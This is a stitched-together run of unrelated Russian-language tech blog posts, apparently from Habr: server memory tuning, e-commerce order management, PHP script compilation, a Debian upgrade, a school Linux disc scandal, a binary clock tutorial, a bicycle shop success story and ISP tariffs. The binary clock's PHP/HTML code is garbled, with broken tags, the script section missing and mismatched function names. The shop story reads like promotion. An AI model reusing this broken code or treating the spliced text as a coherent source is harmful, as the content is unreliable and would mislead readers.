Вернее жил. Когда на все сайты vds ходили та же группа энтузиастов из 3-5 человек одновременно. В процессе оптимизации, на сервер было докуплено ещё 32 Мб оперативной памяти, для успокоения души. Но справедливости ради, стоит сказать что для той нагрузки (3-5 чел on-line) утилизация по памяти составляла порядка 60%, т.е. в 64 Мб я вписывался.

Конечным эффектом из всей этой оптимизации является стабильная работа сервера при разумных нагрузках. Во всяком случае, нет необходимости держать руку на пульсе и постоянно перезапускать mysql.
Некоторое время назад было зафиксировано более 250 уникальных обращений к сайтам сервера. Цифра конечно не Бог весть какая, но маленький vds с честью справился с нагрузкой. Размеры воркера httpd конечно выросли — в среднем до 17 Мб. Что с текущими настройками даёт около 80Мб резидентной памяти. А ещё MySQL, ещё Bind, и совсем немного под ОС. И ничего — прекрасно всё уживается.
В следующий раз расскажу как поднимал DNS сервер на бесплатном общедоступном ns-сервере.

Что есть основной функционал для CMS интернет-магазина?

если вкратце, то немного удивляет тот факт, что в документациях наиболее популярных CMS для интернет-магазинов так мало внимания уделяется собственно управлению заказами: распределение товарного остатка по заказам, резервирование товара под заказ на складе, формирование заказов поставщикам по выборке товаров «нет на складе» и прочее.

на вопрос «скажите, а управление заказами происходит на стороне web или на стороне 1с?» поддержка задумывается надолго.

в общем случае можно видеть два решения:

1. клиентские заказы после подтверждения передаются в 1С, и все управление заказами осуществляется средствами 1С
2. управление заказами осуществляется в web, обмен с 1С происходит при формировании заказа поставщикам, формировании поступления и формировании отчетов по продажам за день (ну, и там все что касается всевозможных возвратов)

очевидно, что большинство решений предлагают первый вариант, не слишком вдаваясь в подробности, как именно управление заказами будет происходить в 1С (может и оправдано — у всех компании свои бизнес-процесс и конфигурации 1С),
либо просто в ручном режиме каждый заказ просматривается, умозрительно анализируется по товарному остатку и ручками меняется статус. сомнительная автоматизация получается.

собственно это и странно, потому как мне кажется, что управление заказами — это основной функционал CMS интернет-магазинов,

Как увеличить быстродействие *AMP сервера за счет использования `скомпилированных` сценариев

Статья описывает, как автоматизировать процесс генерации `скомпилированных` сценариев.

Нам понадобится экспериментальная версия `компилятора` php сценариев — bcompiler. Скачать библиотеку здесь: bcompiler(win32 0.14s) (Работала вместе с Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4)

Используя функцию (getCacheFileName), единственным параметром которой является имя файла, который необходимо подключить к проекту. Функция по входному параметру строит уникальный идентификатор, используя имя файла и время последнего его изменения, и проверяет его наличие в папке `скомпилированных` сценариев, если такого нет, то `компилирует` файл и сохраняется, в результате на выходе имеем имя скомпилированного файла, который можно подключить так же свободно как и обычный сценарий php, используя include.

Повышение быстродействия зависит от сложности кода php и может быть до 20%%.

Читать дальше →

Обновление вашего Debian Lenny (5.0) на Unstable Squeeze

Здравствуйте, сегодня расскажу как обновить ваш Debian 5.0 Lenny до последней нестабильной версии (ветки unstable) Squeeze.

Я думаю рассказывать о ветке unstable не стоит, в крайнем случае о ней вы можете прочитать на официальном сайте

Для чего я обновлял свой Debian?
Я хочу получить более свежую версию ПО, и я думаю что у меня будет все стабильно работать.
Читать дальше →

Школьники не оценили Linux

image
Три недели назад разразился скандал, связанный с рассылкой по 57 тысячам российских школ обновлений пакета программного обеспечения «Первая помощь». Кратко напомню суть: при поступлении дисков с этим программным обеспечением в школы выяснилось, что два диска, на которых были размещены дистрибутивы свободного программного обеспечения Линукс, оказались неработоспособными. Причем за рассылку этих дисков государство должно заплатить компаниям Компьюлинк и IBS 114 миллионов рублей.
Читать дальше →

Создание бинарных часов с помощью HDTML

Я увидел бинарные часы на сайте ThinkGeek.com и решил реализовать что-то подобное при помощи PHP и DHTML.

Мой сослуживец недавно приобрел битовые часы фирмы ThinkGeek (http://www.thinkgeek.com/). У часов есть три секции с восемью источниками света в каждой. Каждая секция отображает секунды, минуты и часы, а каждому биту соответствует свой собственный источник света. Несмотря на то что ни я, ни он не смогли толком понять, который час, мы оба пришли к выводу, что часы очень забавные. Итак, вашему вниманию представляется такой же гаджет на PHP.

Создание массива битовых масок и пр.

<?php
$bit_names = array(1, 2, 4, 8, 10, 20 );
$bit_masks = array(
array( '0', '0X1', '1' ),
array( '1', '0X2', '2' ),
array( '0', '0X4', '4' ),
array( '0', '0X8', '8' ),
array( '0', '0X10', '16' ),
array( '0', '0X20', '32' ),
);

$size = 40;

function bit_table( $name )
{
global $size;
?>


Эту часть необходимо поместить в таблицу

<tab le width="<?php echo($size*2); ?>" cellspacing="2" cellpadding="0"

id="<?php echo( $name ); ?>_1" width="<?php echo( $size ); ?>" height="<?php echo($size); ?>" />
id="<?php echo( $name ); ?>_2" width="<?php echo($size); ?>" height="<?php echo( $size) ; ?>" />

id="<?php echo( $name ); ?>_4" width="<?php echo( $size ); ?>" height="<?php echo($size); ?>" />
id="<?php echo( $name ); ?>_8" width="<?php echo($size); ?>" height="<?php echo( $size) ; ?>" />

id="<?php echo( $name ); ?>_10" width="<?php echo( $size ); ?>" height="<?php echo($size); ?>" />
id="<?php echo( $name ); ?>_20" width="<?php echo($size); ?>" height="<?php echo( $size) ; ?>" />

</tab le

<?php
}
?>



Теперь надо в шапку записать скрипт






И в заключение вписать в таблицу в теле следующее:

<bo dy onload=startup( );">

<?php bit_table( "second" ); ?>

<?php bit_table( "minute" ); ?>

<?php bit_table( "hour" ); ?>




Для начала в сценарии создается таблица битов, которая будет использоваться для создания страницы и JS, отвечающего за обновление часов. В массиве bit_names хранятся все имена битов в элементах часов, начиная с верхнего левого и заканчивая нижним правым. В массиве bit_masks в первом поле хранится номер бита, во втором — значение битовой маски на JS, а в третьем — значение бита.

Функция bit_table( ) создает HTML-страницу с месторасположениями для каждого бита. Она используется трижды: превый раз для секунды, второй раз для минут и третий раз для часов. В части сценария, написанной на PHP, также описывается функция set_clock, которая переводит время в битовый формат и соответственно изменяет часы. Когда страница готова, она отображается в браузере. Первое, что делает браузер после прорисовки таблиц для секунд, минут и часов, — вызывает функцию startup( ), которая инициализирует биты в соответствии с текущим временем. Затем функция startup( ) вызывает функцию set_click( ), которая получает текущие часы, минуты и секунды и вызывает для каждой из этих составляющих функцию set_state( ). Функция же set_state просто задает фоновый цвет таблицы элементов при помощи CSS. Если бит равен единице, то задается определенный цвет ячейки, иначе цвет остается белым. Функция startup( ) также создает таймер, который вызывает функцию set_clock( ) каждые 500 мс, позволяя таким образом часам постоянно обновляться.

История успеха одного небольшого интернет-магазина

Привет хабралюдям!

Сразу скажу, что я здесь новичок, поэтому прошу не ругать за возможное несоответствие стилистике ресурса и разного рода ошибки. Все придет, я надеюсь.

Итак, представлюсь: Андрей Перманцев, владелец магазина katim.com.ua. В принципе, «владелец» – сказано довольно скромно, ведь изначально я выполнял и много других функций… но сейчас, к огромной радости, это совершенно не нужно – проект приносит ощутимую прибыль, и я вполне могу себе позволить содержать коллектив из пяти человек.

В чем секрет успеха? Думаю, в трех вещах, и первая из них – легкий старт… На открытие магазина я потратил около 600 долларов. Понятное дело, что обычную розничную точку не откроешь и за 6000: нужно купить или арендовать помещение, склад, нанять персонал, закупить технику, стенды. С сайтом оказалось гораздо проще. В качестве движка я выбрал Melbis-Shop – он дешевый и заточен под инет-магазины, было удобно заниматься технической частью и дизайном вместе с приятелями, не привлекая специалистов.

Товары я тоже добавлял сам. Первый же месяц работы магазина позволил окупить хостинг на год, домен, движок и все прочие вложения – и даже осталось немного денег на дальнейшую поисковую оптимизацию. Спустя еще месяц я уже покрыл расходы на 100% и стал получать прибыль. Сейчас, злопыхателям вопреки, получаю достойные деньги. Кризис, конечно, несколько снизил обороты, но совсем не критично – никого из команды увольнять не пришлось и даже зарплаты остались прежние.

Конкретные цифры называть не буду ни здесь, ни приватно. Я не Интернет-бомж и не вижу резона раскрывать коммерческие тайны.

Вторая вещь, позволившая магазину стать успешным, – грамотная оптимизация. Методы, естественно, оставлю при себе, важен результат. Сайт katim.com.ua находится в топе украинского Гугла и Яндекса по таким важным запросам:

велосипеды

горные велосипеды

шоссейные велосипеды

детские велосипеды

купить велосипед

Кроме того, нами оккупированы все низкочастотные запросы – с них идет огромный процент покупателей. Признаю, затраты на оптимизацию в целом достаточно высокие, но количество продаж покрывает их с лихвой.

Третья вещь – удачно выбранный движок. Специфика магазина велосипедов такова, что каждый год появляются новые коллекции, кроме того – прайс-лист обновляется несколько раз в неделю, а ведь нужно еще добавлять товары. Интерфейс в Melbis-Shop не идеален, но достаточно удобен – поначалу на рутину уходило 10-15 часов в неделю – то есть фактически один рабочий день, пусть и немного затянутый. Естественно, я мог потянуть это сам. Дизайн тоже натягивал сам. По незнанию ушло часов 20 – уверен, можно и быстрее.

Еще один момент связан с моей личной хитростью. Дело в том, что 99% моделей велосипедов в каждом магазине представлены не в полной линейке размеров и цветов, стало быть, чтобы узнать, есть ли конкретно этот велосипед такого-то размера – нужно звонить. У нас же предусмотрены списки реально доступных цветов и размеров. Почти никто из конкурентов до этого пока не дошел, хотя сдвиги имеются. Ну и последнее – финансовые отчеты. Движок позволяет видеть, насколько эффективен трафик с того или иного ресурса. Эффективность определяется не посещениями, а количеством оплаченных заказов и полученных с них денег за вычетом маржи и скидок. Вполне естественно, что это позволяет значительно снижать расходы на оптимизацию – ведь четко видно, какой трафик полезен, а какой нет.

Я хочу пожелать удачи всем деятелям сферы электронной коммерции, а также выразить надежду, что, невзирая ни на какой кризис, наша прибыль будет расти.

И последнее о кризисе. Несмотря ни на что, прибыли практически не упали – просто изменилась структура заказов. Если раньше основные заказы шли от богатых столичных жителей, то кризис снизил их количество вдвое. Зато жители других регионов страны на фоне повального закрытия обычных розничных точек вынуждены покупать товары в Интернете. Их количество вдвое выросло. Общее количество покупок и прибыль от них – всего на 5-10% меньше, чем до кризиса. Жизнь продолжается.

Байнет: слишком много качаю на анлиме!

В Беларуси очень интересные безлимитные тарифы на интернет — они с лимитами!
Например, у некоторых провайдеров есть такая оговорка:
*В случае, если суммарный трафик абонента до завершения действия пакета превышает 15 Гб, скорость доступа в Интернет автоматически снижается с 1024 Кбит/с до 64 Кбит/с.

У моего провайдера таких оговорок не было даже в договоре и 2 июля у него было плановое поднятие скорости на безлимитных тарифах, но мне не подняли: я слишком много качаю на безлимитном интернете!
моя история

Нужен ли «десктопный» Хабраредактор?

Доброго времени суток, хаброчеловеки!
Сижу я читаю хабр, и случайно клацнул по ссылке на Хабраредактор, и подумал, а почему бы не сделать Хабраредактор скажем на Qt/C++(это лишь вариант, главное чтобы кроссплатформенный, полезный и удобный) и наделить его всем функционалом которые есть, плюс добавить то чего недостает именно Вам, да-да вы не ослышались, чего вам не хватает в Хабраредакторе? Прошу пожелания в комментариях.
Сейчас я пока представляю это туманно(это лишь идея, пока), но если хабравчанам идея понравиться, то можно организовать команду, которая будет заниматься разработкой, кому интересен дизайн — пожалуйста, или это будет делать один человек, если желающих не будет((
Скажем будет у вас редактор который будет хранить все коллекции ваших постов, не заплатили за инет?, хабраредактор пост сохранит и позже сможете напрямую добавить на хабр, в общем сможете делать со статьями все о чем Вы мечтали ;) или читать статьи и сохранять их где хотите и в каком формате хотите. Что вы об этом думаете? Строго не судите, первый раз пишу на хабре!